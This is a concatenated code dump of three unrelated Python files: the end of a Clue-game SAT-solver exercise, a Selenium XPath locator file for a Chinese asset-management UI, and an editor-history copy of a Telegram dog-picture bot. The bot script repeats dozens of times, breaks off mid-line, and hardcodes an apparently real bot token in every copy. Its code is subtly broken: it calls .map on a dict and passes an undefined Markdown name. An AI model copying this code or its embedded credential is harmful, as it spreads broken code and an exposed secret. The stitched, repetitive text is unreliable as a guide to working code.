in at least one place (including case file). for c in cards: clause = [] for p in extended_players: clause.append(get_pair_num_from_names(p,c)) clauses.append(clause) # A card cannot be in two places. # At least one card of each category is in the case file. # No two cards in each category can both be in the case file. return clauses # TO BE IMPLEMENTED AS AN EXERCISE def hand(player,hand_cards): return [] # TO BE IMPLEMENTED AS AN EXERCISE def suggest(suggester,card1,card2,card3,refuter,cardShown): return [] # TO BE IMPLEMENTED AS AN EXERCISE def accuse(accuser,card1,card2,card3,isCorrect): return [] def query(player,card,clauses): return SATSolver.testLiteral(get_pair_num_from_names(player,card),clauses) def query_string(returnCode): if returnCode == True: return 'Y' elif returnCode == False: return 'N' else: return '-' def print_notepad(clauses): for player in players: print('\t'+ player, end='') print('\t'+ case_file) for card in cards: print(card,'\t',end='') for player in players: print(query_string(query(player,card,clauses)),'\t',end='') print(query_string(query(case_file,card,clauses))) def play_clue(): # the game begins! add initial rules to the game clauses = initial_clauses() # if you are going to play your own instance of Clue, then you # would change the information from here going forward. # Add information about our hand: We are Miss Scarlet, # and we have the cards Mrs White, Library, Study clauses.extend(hand("sc",["wh", "li", "st"])) # We go first, we suggest that it was Miss Scarlet, # with the Rope in the Lounge. Colonel Mustard refutes us # by showing us the Miss Scarlet card. clauses.extend(suggest("sc", "sc", "ro", "lo", "mu", "sc")) # Mustard takes his turn clauses.extend(suggest("mu", "pe", "pi", "di", "pe", None)) # White takes her turn clauses.extend(suggest("wh", "mu", "re", "ba", "pe", None)) # and so on... clauses.extend(suggest("gr", "wh", "kn", "ba", "pl", None)) clauses.extend(suggest("pe", "gr", "ca", "di", "wh", None)) clauses.extend(suggest("pl", "wh", "wr", "st", "sc", "wh")) clauses.extend(suggest("sc", "pl", "ro", "co", "mu", "pl")) clauses.extend(suggest("mu", "pe", "ro", "ba", "wh", None)) clauses.extend(suggest("wh", "mu", "ca", "st", "gr", None)) clauses.extend(suggest("gr", "pe", "kn", "di", "pe", None)) clauses.extend(suggest("pe", "mu", "pi", "di", "pl", None)) clauses.extend(suggest("pl", "gr", "kn", "co", "wh", None)) clauses.extend(suggest("sc", "pe", "kn", "lo", "mu", "lo")) clauses.extend(suggest("mu", "pe", "kn", "di", "wh", None)) clauses.extend(suggest("wh", "pe", "wr", "ha", "gr", None)) clauses.extend(suggest("gr", "wh", "pi", "co", "pl", None)) clauses.extend(suggest("pe", "sc", "pi", "ha", "mu", None)) clauses.extend(suggest("pl", "pe", "pi", "ba", None, None)) clauses.extend(suggest("sc", "wh", "pi", "ha", "pe", "ha")) # aha! we have discovered that the lead pipe is the correct weapon # if you print the notepad here, you should see that we know that # it is in the case file. But it looks like the jig is up and # everyone else has figured this out as well... clauses.extend(suggest("wh", "pe", "pi", "ha", "pe", None)) clauses.extend(suggest("pe", "pe", "pi", "ha", None, None)) clauses.extend(suggest("sc", "gr", "pi", "st", "wh", "gr")) clauses.extend(suggest("mu", "pe", "pi", "ba", "pl", None)) clauses.extend(suggest("wh", "pe", "pi", "st", "sc", "st")) clauses.extend(suggest("gr", "wh", "pi", "st", "sc", "wh")) clauses.extend(suggest("pe", "wh", "pi", "st", "sc", "wh")) # At this point, we are still unsure of whether it happened # in the kitchen, or the billiard room. printing our notepad # here should reflect that we know all the other information clauses.extend(suggest("pl", "pe", "pi", "ki", "gr", None)) # Aha! Mr. Green must have the Kitchen card in his hand print('Before accusation: should show a single solution.') print_notepad(clauses) print() clauses.extend(accuse("sc", "pe", "pi", "bi", True)) print('After accusation: if consistent, output should remain unchanged.') print_notepad(clauses) if __name__ == '__main__': play_clue()
8ff456f50d4ccbe050a293208a0f003f6c1867c2
f3392900cc40ec6b33b48582abbffb8bef05e8ec
/pagelocator/mha15_locator.py
3a3b94a0b3b247674ab8f69fa70affa443b0383a
[]
no_license
zhqnau/pytest-auto
1c2bcb761379573dd1eda786930977aa39075011
ef38a6c488f761ce38a0ab25a3737cd441b5f901
refs/heads/master
2023-01-16T02:31:09.632506
2020-11-27T12:20:36
2020-11-27T12:20:36
316,493,009
2
0
null
null
null
null
UTF-8
Python
false
false
1,698
py
from selenium.webdriver.common.by import By open1menu = (By.XPATH, '//i[@title="展开菜单"]') doc1 = "选择菜单" doc2 = "资产分配管理" level1menu = (By.XPATH, '//div[contains(text(),"统一门户子系统")]') level2menu = (By.XPATH, '//span[text()="资产管理"]') level3menu = (By.XPATH, '//span[text()="资产评估管理"]') level4menu = (By.XPATH, '//span[text()="违规处置"]') iframe = (By.XPATH, '//*[@id="pane-ips-zcgl-wgcz"]/div/iframe') add_button = (By.XPATH, '//div[@role="tab"]//button/span[contains(text(),"新增")]') volausername = (By.XPATH, '//label[@for="volaUserName"]/..//span/i') volauser_name = (By.XPATH, '//label[text()="用户姓名"]/..//input') volauser_query = (By.XPATH, '//label[text()="用户姓名"]/ancestor::form//button/span[contains(text(),"查询")]') volauserinf = (By.XPATH, '//div[@class="el-table__fixed"]//span[contains(text(),"测试二")]' '/ancestor::tr//span[@class="el-radio__inner"]') volauserinf1 = (By.XPATH, '//div[@class="el-table__fixed"]//span[contains(text(),"测试二")]' '/ancestor::tr//span[@class="el-radio__inner"]')[0] volauser_save = (By.XPATH, '//div[@aria-label="资产与人员关系信息"]//button/span[contains(text(),"确定")]') volaRea = (By.XPATH, '//label[@for="volaRea"]/..//textarea') dspoRslt = (By.XPATH, '//label[@for="dspoRslt"]/..//textarea') memo = (By.XPATH, '//label[@for="memo"]/..//textarea') Save = (By.XPATH, '//div[@aria-label="资产违规处置信息维护"]//button/span[contains(text(),"保存")]') close = (By.XPATH, '//div[@id="tab-ips-zcgl-wgcz"]/span') txt = (By.XPATH, '//div[@id="app"]/following-sibling::div[@role="alert"]/p')
891f68a8b691e05dfb245b2825d8c9c05a83c14e
4cf3f8845d64ed31737bd7795581753c6e682922
/.history/main_20200118155711.py
579c251674633884c265e4329491161f02edf12d
[]
no_license
rtshkmr/hack-roll
9bc75175eb9746b79ff0dfa9307b32cfd1417029
3ea480a8bf6d0067155b279740b4edc1673f406d
refs/heads/master
2021-12-23T12:26:56.642705
2020-01-19T04:26:39
2020-01-19T04:26:39
234,702,684
1
0
null
2021-12-13T20:30:54
2020-01-18T08:12:52
Python
UTF-8
Python
false
false
915,259
py
from telegram.ext import Updater, CommandHandler import requests import re # API call to source, get json (url is obtained): contents = requests.get('https://random.dog/woof.json').json() image_url = contents['url'] def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater 